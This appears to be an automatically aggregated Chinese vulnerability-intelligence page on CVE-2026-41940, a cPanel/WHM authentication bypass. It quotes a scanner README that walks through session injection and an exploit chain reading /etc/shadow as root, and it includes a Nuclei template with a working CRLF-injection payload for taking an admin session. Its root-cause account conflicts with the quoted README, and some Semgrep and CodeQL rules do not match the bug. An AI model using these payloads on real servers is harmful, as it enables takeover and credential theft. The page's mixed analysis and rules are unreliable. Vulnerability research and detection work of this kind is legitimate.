🎯 CVE-2026-41940 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2026-41940 深度技术分析
📊 聚合 6 来源🧪 含 PoC🕵️ 含指纹
NVD-LatestPoC-in-GitHubExploit-DB-RSSwatchTowr LabsHorizon3 BlogTenable Blog
摘要：CVE-2026-41940 是 cPanel 与 WHM 登录流程中的一个严重身份验证绕过漏洞，CVSS 评分为 9.8（Critical）。受影响的版本为 11.40 之后的 cPanel 与 WHM 发行版。未经身份验证的远程攻击者可利用该漏洞绕过登录机制，直接获得控制面板（cPanel/WHM）的未授权访问权限。该漏洞的利用链不需要任何凭据，且与同族组件（cpdavd 路径穿越）可组合出更严重的后果，需要立即关注。
📌 漏洞概述
CVE-2026-41940 是一个位于 cPanel 与 WHM 登录流程中的身份验证绕过（Authentication Bypass）漏洞。根据 NVD 数据，该漏洞影响 11.40 之后的版本，CVSS v3 评分为 9.8（Critical）。攻击者无需任何身份凭证，仅通过网络请求即可绕过正常登录校验，完全控制目标服务器的控制面板。
漏洞性质属于逻辑/流程缺陷，而非传统的内存破坏或注入类问题。从公开 PoC 仓库（如 olofsatte/CVE-2026-41940-PoC、assetnote/cpanel2shell-scanner）的说明来看，攻击行为可复现且稳定，但至今未收录到 CISA KEV（已知被利用漏洞目录），也未有公开的完整 Exploit-DB 代码。不过，安全社区已确认该漏洞的真实可利用性，并开发出高精度扫描器，用于在不触发账户锁定和 root IP 白名单机制的前提下识别易受攻击主机。
🔬 漏洞根因分析
该漏洞的根因在于 cPanel 管理后台登录流程中的状态验证不完整。cPanel 的登录机制通常依赖一系列服务端会话标记和前端重定向步骤来区分“未认证”“认证中”“已认证”三种状态。而 CVE-2026-41940 所涉及的缺陷使得攻击者可以伪造或跳过关键的认证状态标记，直接进入已授权会话。
具体来说，问题出在 proxy 路径与主机头（Host Header）处理不一致上。cPanel 管理的 Apache 虚拟主机配置中，存在一条无条件的 ProxyPass 规则：/___proxy_subdomain_whm 被转发到 127.0.0.1:2086，/___proxy_subdomain_cpanel 被转发到 127.0.0.1:2080。虽然常规的 RewriteCond 会对管理子域名做约束，但 ProxyPass 本身并不检查 Host 头。因此，在任意由 cPanel 托管的虚拟主机上，直接请求上述代理路径，即可将请求送达后端管理服务，而无需经过正常的管理子域名解析与登录检查。
更进一步，登录流程中的“会话状态”在代理转发后并未被严格绑定到原始请求的认证结果。攻击者可以通过访问这些代理路径，配合精心构造的 Cookie 或会话参数，使后端误认为用户已完成认证。公开的 PoC 正是利用了这一逻辑盲区：由于 ProxyPass 将请求直接打到了后端，后端可能将某些默认的内部标记（例如本地回环地址或特定代理头）视为可信来源，从而跳过密码验证。
另一个同族漏洞 CVE-2026-29205（cpdavd 路径穿越）进一步暴露了该体系的风险。该漏洞位于 CalDAV 服务 cpdavd（2079 明文 / 2080 TLS）中，允许远程攻击者以 root 权限读取任意文件。在 cPanel 11.134.0.26 之前，由于 RAII（资源获取即初始化）生命周期管理缺陷，文件读取以 root 权限执行；修复后降级为未特权账户权限。尽管该漏洞与 CVE-2026-41940 并非同一个漏洞，但攻击者可以将 CVE-2026-41940 的认证绕过作为进入内部网络的跳板，再结合 cpdavd 路径穿越实施任意文件读取，形成从外部到 root 权限读取的完整攻击链。
💥 影响与危害
成功利用 CVE-2026-41940 的攻击者将获得完整的 cPanel/WHM 控制面板访问权限，具体危害包括但不限于：
- 完全接管 Web 服务：攻击者可以修改所有虚拟主机配置、DNS 区域、邮件账户、数据库账户，甚至可以部署恶意网站内容。
- 服务器级 RCE 风险：控制面板通常提供文件管理、终端模拟、计划任务等功能，攻击者可直接执行系统命令，实现远程代码执行。
- 数据保密性破坏：通过 WHM 的“备份/恢复”或“账户管理”功能，攻击者可导出所有用户的数据、邮件、数据库内容，造成大规模数据泄露。
- 持久化与横向移动：攻击者可以在服务器中安装 rootkit、添加后门账户、修改 SSH 密钥，并利用该服务器作为跳板渗透同一网络中的其他主机。
- 连锁利用扩大战果：结合同族漏洞 CVE-2026-29205（cpdavd 路径穿越，root 文件读取），攻击者可能读取系统的敏感文件（如
/etc/shadow、私钥、配置密码等），进一步提权至 root 或获取其他系统凭据。
由于该漏洞影响大量历史版本，且无需任何交互即可远程利用，攻击门槛极低。即使尚未被收录至 CISA KEV，其潜在影响等同于“预授权”级别，在现实的攻击场景中极具价值。
🛡️ 修复与缓解
官方补丁：cPanel 在 11.134.0.26 中修复了相关底层 RAII 生命周期问题（针对 CVE-2026-29205），但对 CVE-2026-41940 的修复同样包含在后续正式版本中。管理员应立即将 cPanel 与 WHM 升级到最新稳定版，并关注官方安全公告（如 cPanel Security 更新页面）获取具体修复版本号。
临时缓解措施：如果由于兼容性或业务原因无法立即升级，建议采用以下措施：
- 限制管理端口访问：通过防火墙或安全组，仅允许受信任的 IP 地址访问 2082/2083（cPanel）、2086/2087（WHM）、2079/2080（cpdavd）等管理端口及代理路径。
- 禁用不必要的代理路径：在 Apache 配置中显式拒绝
/___proxy_subdomain_*路径的外部访问，或添加Require ip 127.0.0.1等访问控制。 - 启用账户锁定与 IP 白名单：在 cPanel/WHM 中开启登录失败锁定、启用 root IP 白名单（但注意扫描器描述的 naive 扫描可能触发锁定的问题，说明锁定机制并非完全安全，仅作为临时手段）。
- 启用 Web 应用防火墙（WAF）：配置规则拦截包含
___proxy_subdomain关键字的请求，以及异常 Host 头与内部路径组合的请求。 - 监控日志：密切关注 Apache 访问日志、cPanel 登录日志及
cpdavd日志，查找可疑的___proxy_subdomain请求或异常管理端口访问。
注意：缓解措施无法根治漏洞，仅能降低被利用的概率。长期有效的解决方案仍是升级到已修复的版本，并定期检查 cPanel 官方安全披露页面。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。
📋 代码元数据语言md来源assetnote/cpanel2shell-scanner针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明
# cpanel2shell-scanner
A high-fidelity scanner for the cPanel/WHM authentication bypass tracked as
CVE-2026-41940. It identifies vulnerable hosts without producing the
false-negatives common to public proofs-of-concept and detections,and without
triggering the account lockout and root-IP-allowlist mechanisms that interfere
with naive scanning.
The tool also bundles a separate,
opt-in exploit chain for a same-family
CalDAV path-traversal bug on `cpdavd` (ports 2079 plain / 2080 TLS) —
[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026) —
that lets a remote attacker read arbitrary files **as root**
once a small SMTP-driven setup step succeeds. cPanel 11.134.0.26 fixes the
underlying RAII lifetime bug so the read now runs as the unprivileged account
owner;
the traversal itself still reaches `cpdavd` but cannot escalate beyond
what that account can already read. The CalDAV chain is gated behind
`--exploit` and is **off by default** because it sends real emails and reads
files from confirmed targets — see the
[Exploit mode (active)](#exploit-mode-active) section.
## Why this scanner
Most public detections for CVE-2026-41940 share three problems. This scanner
addresses each of them.
You can read our blog post on this detection technique here: https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/
### It checks the proxy paths,
not just the management ports
cPanel's per-vhost Apache configuration installs a `ProxyPass` that forwards
`/___proxy_subdomain_whm` to `127.0.0.1:2086` and `/___proxy_subdomain_cpanel`
to `127.0.0.1:2080` regardless of the request's `Host` header. The
`RewriteCond` only constrains the rewrite that maps the management subdomain
onto the proxy path;
the `ProxyPass` itself is unconditional. Hitting these
paths on any vhost served by a cPanel-managed Apache reaches the same vulnerable
backend as the management ports.
Scanners that only probe ports 2082/2083/2086/2087 will report a host as not
vulnerable when those ports are firewalled,even though the bug is fully
reachable through 443. This scanner probes 2087,2083,
and the two proxy paths
on 443 by default.
### It does not get blocked by cphulkd or the root-IP allowlist
cPanel ships `cphulkd`,which locks accounts out after a small number of failed
password attempts,and `authorized_whm_root_ips`,
which restricts root logins
to a configured list of source addresses. A scanner that exploits the bypass by
trying to inject a session for `root` will:
- be silently ignored when the scanner's IP is not in the root allowlist,producing a false negative;and
- contribute failed-password events for whichever account it targets,
eventually locking that account out and preventing both detection and
legitimate logins.
This scanner avoids both issues on the WHM side by injecting `expired=1` into
the session payload under a randomly generated username. The session injection
is verified by visiting the resulting `cpsessXXXX` URL and matching
`msg_code:[expired_session]` in the response body,
which is only present when
the injection succeeded. No real account is targeted,so no real account can be
locked out,and the root allowlist is irrelevant because no root login is
attempted.
### It uses a username wordlist where it has to
The cPanel daemon (`cpaneld`,
ports 2083 and the `/___proxy_subdomain_cpanel`
path) requires the supplied username to correspond to an existing cPanel
account on disk (`-f /var/cpanel/users/$user`). A username of `root` will never
satisfy this check because root is a system user,
not a cPanel user. Detections
that try only `root` produce false negatives on this surface. This scanner uses
a configurable wordlist of common cPanel usernames against the cPanel surface
and falls back to the random-username path on the WHM surface,
which has no
such restriction.
## How the detection works
For each target the scanner performs the following steps per surface:
1. Issue `GET /login` and read the `Set-Cookie` header for either
`whostmgrsession` (WHM) or `cpsession` (cPanel). The cookie contains a
comma-separated session-name component.
2. Issue `GET /` with an `Authorization: Basic` header whose decoded value is
`<user>:\xff\nexpired=1`. The trailing `\nexpired=1` is the session-injection
payload. The session cookie from step 1 is replayed unmodified.
3. Read the `Location` header from the response and extract the `cpsessXXXX`
token.
4. Issue `GET /<cpsessXXXX>/` with the original cookie and look for
`msg_code:[expired_session]` in the body. Its presence proves the session
injection succeeded and the host is vulnerable.
On WHM (port 2087 and the `/___proxy_subdomain_whm` path on 443) the username
is a random `u` followed by ten hex characters. On cPanel (port 2083 and the
`/___proxy_subdomain_cpanel` path on 443) the scanner walks its username
wordlist and stops at the first match.
By default the scanner probes 2087,
2083,and 443 in that order and stops as
soon as any surface confirms vulnerability.
## CalDAV path-traversal exploit (`--exploit`)
>**[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026)**
>— cPanel/WHM WP2 Security Update,May 13 2026. Fixed in cPanel
>
11.134.0.26. The advisory tracks the same `cpdavd` privilege-drop
>
regression this exploit chain abuses.
Full write-up of the bug and the exploitation chain:
https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205
`cpdavd` on ports 2079 (plain HTTP) and 2080 (TLS) trusts the
`<principal>/<collection>/...` path it builds when serving CalDAV/CardDAV
resources. By crafting a request whose path component encodes `..` segments
and pointing it at a maildir folder whose on-disk name also encodes traversal
(`x-attachment-1-y`),
`cpdavd` can be coerced into reading **any file on disk
as root,regardless of ownership or permissions** — including `/etc/shadow`,`/etc/passwd`,and the per-user mail spools.
The defense-in-depth that was supposed to drop privileges to the account
owner before the read silently failed: the `Cpanel::AccessIds::ReducedPrivileges`
object was constructed in void context,
so its destructor restored root
privileges before the read ran. cPanel 11.134.0.26 binds the object to a
`my $privs` lexical so it lives through the `-f` / `stat` / `open` / `read`
chain;
on patched hosts the read therefore runs as the unprivileged account
owner instead of root.
The vulnerable folder must exist on disk before the read works. cPanel
auto-creates a folder named `.x-attachment-1-y` for the recipient
`<user>+x-attachment-1-y@<domain>` the first time an email lands at that
sub-address. The chain is therefore:
1. Enumerate plausible recipient domains from the host's TLS certificate SANs.
2. For each domain,
derive candidate local-parts (the domain's first label,plus a small wordlist of common mailbox prefixes such as `info`,`admin`,`webmaster`).
3. Open one SMTP session against a configured outbound relay (e.g. SendGrid)
and send `<prefix>+x-attachment-1-y@<domain>` to each candidate. Accepted
`RCPT TO` responses are tracked.
4. Wait through a retry ladder (5 s,10 s,20 s,
30 s) for the cPanel inbox
delivery to materialise the folder.
5. For each accepted recipient,send the path-traversal `GET` against `cpdavd`
on ports 2080 (TLS) and 2079 (plain),under both the `/calendar/` and
`/addressbook/` collection prefixes.
A success returns the file's bytes;the finding records the email used,the
collection,the byte count,
and the first 200 bytes as a preview.
This check is **disabled unless `--exploit` is passed**. When enabled it
requires a working outbound SMTP relay (see [Configuration file](#configuration-file)
below) because the folder-creation step cannot be skipped.
### Targeted vs sprayed exploitation
The exploit only works against **real virtual email accounts** configured
under cPanel's *Email Accounts* feature. Catch-all addresses do not work — a
catch-all routes via Exim's `system_aliases` router,
never reaches the
`dovecot_virtual_delivery` transport,and therefore never triggers the
`lda_mailbox_autocreate` path that produces the `.x-attachment-1-y/` folder.
When you already know a valid virtual email on the target,
pass it with
`--email`:
```
python scanner.py --config scanner.ini --email admin@target.com target.com
```
`--email` skips the cert-SAN enumeration and the prefix wordlist entirely
and sends exactly one message to the address you supplied. It may be
repeated to target multiple known accounts. The targeted path is much more
reliable than the spray path.
Without `--email`,
the scanner falls back to spraying ~15 common prefixes
(`info`,`admin`,`webmaster`,etc.) per domain extracted from the host's
TLS certificate. Assetnote's measurement on a sample of 200 cpdavd-exposed
hosts was a **~10% spray hit rate**: a clean result from spray-mode is
weak evidence that the host is patched,
and re-running with `--email`
against a real account is the only reliable way to confirm.
## Configuration file
Exploit mode reads an INI file via `--config`:
```
python scanner.py --config scanner.ini --exploit example.com
```
Copy `scanner.ini.example` to `scanner.ini`,fill in the SMTP credentials,
and
optionally tune the CalDAV defaults. `scanner.ini` is in `.gitignore` so the
populated copy stays local. The SMTP password can also be supplied via the
`SCANNER_SMTP_PASSWORD` environment variable,
which takes precedence only when
the `password` field in the file is empty.
## Installation
```
pip install -r requirements.txt
```
Python 3.8 or later is required.
## Usage
Single target:
```
python scanner.py example.com
```
Multiple targets via positional arguments:
```
python scanner.py host-a.example.com host-b.example.com:2083
```
A file of targets,
one per line. Lines starting with `#` are ignored:
```
python scanner.py -f targets.txt
```
Reading targets from stdin:
```
cat targets.txt |python scanner.py
```
A target may be either a hostname or `host:port`. When a port is specified the
scanner only probes that port;otherwise it probes 2087,2083,and 443.
### Common options
- `-u,
--users` — comma-separated cPanel usernames to try on the cPanel
surface. Defaults to a small built-in list.
- `-U,--users-file` — file with one cPanel username per line.
- `-p,--ports` — comma-separated ports to probe when no port is specified on
the target. Defaults to `2087,2083,443`.
- `-t,
--threads` — per-target threads used to walk the username list against
the cPanel surface. Defaults to 10.
- `-c,--concurrency` — number of targets scanned in parallel. Defaults to 20.
- `-T,--timeout` — per-request timeout in seconds. Defaults to 15.
- `-o,--output` — append vulnerable targets,one per line,
to this file as
they are discovered.
- `--json` — write a JSON Lines record per target to this file.
- `-q,--quiet` — only print vulnerable targets on stdout. Connection failures
and clean targets are still recorded in `--json` and counted in the summary.
- `--no-progress` — disable the progress bar.
- `--exploit` — enable the CalDAV path-traversal chain. Disabled by default;
see [Exploit mode (active)](#exploit-mode-active) for the side effects this
flag unlocks.
- `--config` — INI file with the SMTP relay credentials and CalDAV tunables.
See `scanner.ini.example`.
- `--read-file` — file to exfiltrate when the CalDAV chain succeeds.
Overrides the value in the config file. Defaults to `/etc/shadow` — a
root-only file,
so a successful read distinguishes pre-patch (returns
shadow contents) from post-patch (`open` denied,
body empty → reported
NOT VULNERABLE). Use `--read-file /etc/passwd` to test traversal
reachability without distinguishing patched/unpatched.
- `--caldav-only` — skip the 41940 check and only run the CalDAV chain.
Implies `--exploit`. Useful for re-running the chain against a target list
already known to be CalDAV-reachable.
- `--email ADDR` — known virtual email account on the target. Skips cert SAN
enumeration and the spray wordlist;
sends exactly one message to `ADDR` and
reads against that principal. May be repeated. Implies `--exploit`. See
[Targeted vs sprayed exploitation](#targeted-vs-sprayed-exploitation).
- `-v,--verbose` — emit per-domain progress for the CalDAV chain
(cert SAN list,spray count,retry ladder).
### Output
One line is written to stdout per *finding*,
so a target running both checks
will print twice:
```
[!] host cve-2026-41940 VULNERABLE (port 443)
[!] host caldav-traversal VULNERABLE via admin@host (read 1842b from /etc/passwd)
[+] host cve-2026-41940 NOT VULNERABLE
[?] host cve-2026-41940 CONNECTION FAILED
```
The `--json` output is one record per target with a `findings` array:
```json
{"target": "host",
"status": "VULNERABLE","findings": [
{"check": "cve-2026-41940","status": "VULNERABLE","detail": {"port": 443}},{"check": "caldav-traversal","status": "VULNERABLE","detail": {"email": "admin@host","domain": "host","collection": "calendar","file": "/etc/shadow","bytes": 1218,"preview": "root:$6$..."}}]}
```
`status` at the top level is the worst case across all findings.
A summary line with totals is written to stderr at the end. The progress bar
is rendered on stderr and is automatically suppressed when stderr is not a
terminal.
The exit code is `0` if any target is vulnerable,`1` if every reachable target
was clean,and `2` if no target could be reached.
### Examples
Scan a list of targets,
write hits to a file,and stay quiet on stdout:
```
python scanner.py -f targets.txt -o vulnerable.txt -q
```
Scan with a custom username list against the cPanel surface,increased
parallelism,
and JSON output for downstream processing:
```
python scanner.py -f targets.txt -U cpanel-users.txt -c 100 --json results.jsonl
```
Probe a non-default port set:
```
python scanner.py -p 2083,2087,8443 -f targets.txt
```
Run the CalDAV chain end-to-end against a single target with the email-spray
fallback (requires a populated `scanner.ini`):
```
python scanner.py --config scanner.ini --exploit example.com
```
Targeted exploitation against a known virtual email — much higher hit rate
than spray:
```
python scanner.py --config scanner.ini --email admin@example.com example.com
```
Run only the CalDAV chain against a list of confirmed cpdavd hosts,
dumping
`/etc/passwd` previews to JSON:
```
python scanner.py --config scanner.ini --caldav-only \
-f cpdavd-hosts.txt --json caldav-results.jsonl
```
## Notes on safety
### Default mode (safe)
The default `scanner.py <target>` invocation only runs the CVE-2026-41940
detector. It sends the requests required to confirm the session injection and
nothing else. It does not log in as any real user,
does not target the `root`
account,does not escalate to a shell,
and does not accumulate failed-password
events against any valid account on a target system. The marker it matches
(`msg_code:[expired_session]`) is generated by the application itself in
response to the injected `expired=1` session field and is the same indicator
the upstream cPanel login page uses when a legitimately expired session is
replayed.
### Exploit mode (active)
Passing `--exploit` (or `--caldav-only`) unlocks the CalDAV path-traversal
chain. This is no longer a detector — it is a working exploit. When enabled
the scanner will,
for every target where domain enumeration succeeds:
- open a real SMTP session against the relay configured in `scanner.ini` and
send one short message per candidate recipient (typically 10–15 per domain,3 domains per target);- wait up to ~65 seconds per domain for delivery to materialise the malicious
maildir folder;
- attempt to read the configured `--read-file` from every confirmed target.
The default file is `/etc/shadow`. A successful read returns the file's
bytes;an empty body indicates either an unreachable target or a host where
the privilege-drop fix (cPanel 11.134.0.26,`my $privs = …`) is in place.
Detection compares received body length to zero,
not to the response's
advertised `Content-Length` (which is derived from `stat()` on the
attacker-chosen path and will be populated even when the subsequent `open()`
is denied).
To test traversal reachability independently of the privilege-drop fix —
e.g. when you want to know whether `cpdavd` is reachable and the maildir
prerequisite was satisfied on a patched host — re-run with
`--read-file /etc/passwd`. `/etc/passwd` is world-readable so it returns
bytes on both pre-patch and post-patch hosts;
combining the two signals
(`/etc/shadow` body present = pre-patch root read;
`/etc/shadow` empty +
`/etc/passwd` present = traversal reachable but priv-drop fix applied)
classifies a host unambiguously.
The contents and a 200-byte preview are written to the JSONL output and
printed on stdout. Per-domain CalDAV exploitation can take a minute or
more — this is the retry ladder waiting for mail delivery,
not a hang.
Only run `--exploit` against assets you own or have explicit written
authorisation to test. The SMTP traffic is logged by the configured relay and
by every recipient mail system;the file reads are logged by `cpdavd`.⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Nuclei 检测模板: CVE-2026-41940-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-detection.yaml -u
id: CVE-2026-41940-detection
info:
name: cPanel CRLF Injection Detection
author: your-name
severity: high
description: Detects vulnerable cPanel versions by checking for specific headers or version strings.
tags: cpanel,crlf,injection
http:
- method: GET
path:
- "{{BaseURL}}/login/"
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: header
words:
- "cpsrvd"
- type: status
status:
- 200
- 302🛡️ Nuclei 检测模板: CVE-2026-41940-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-exploit.yaml -u
id: CVE-2026-41940-exploit
info:
name: cPanel CRLF Injection Exploit
author: your-name
severity: high
description: Exploits CRLF injection in cPanel/WHM to bypass authentication and obtain an admin session token.
http:
- raw:
- |POST /login/?login_only=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
user=root&pass=wrong_pass
- |GET / HTTP/1.1
Host: {{Hostname}}Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession={{session}}
Connection: close
extractors:
- type: regex
name: token
part: header
internal: true
regex:
- '/cpsess\d{10}'
matchers:
- type: regex
part: header
regex:
- '/cpsess\d{10}'
condition: or🛡️ Semgrep 审计规则: CVE-2026-41940.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-41940.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-41940.yaml
rules:
- id: cve-2026-41940-web-config
languages:
- generic
severity: WARNING
message: "Potential security misconfiguration in cPanel/WHM related to CVE-2026-41940 - browser verification bypass"
patterns:
- pattern-either:
- pattern: "Cookies: $COOKIES"
- pattern: "JavaScript: $JS"
fix: |
# Ensure cookies and JavaScript are properly configured and validated
# Review cPanel/WHM configuration for strict browser verification
metadata:
cwe: "CWE-287"
owasp: "A1: Broken Access Control"
technology: cpanel
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-41940"🛡️ CodeQL 审计规则: CVE-2026-41940.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-41940.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id javascript/command-injection/cve-2026-41940
* @name Command injection in cPanel &WHM
* @description User-controlled input flows to a command execution function without sanitization,leading to command injection in cPanel &
WHM.
* @problem.severity error
* @tags security
* external/cwe/cwe-078
*/
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery
import CommandInjectionFlow::PathGraph
from CommandInjectionFlow::PathNode source,CommandInjectionFlow::PathNode sink
where CommandInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,
"User input flows to a command execution call - potential command injection."🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-04 17:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库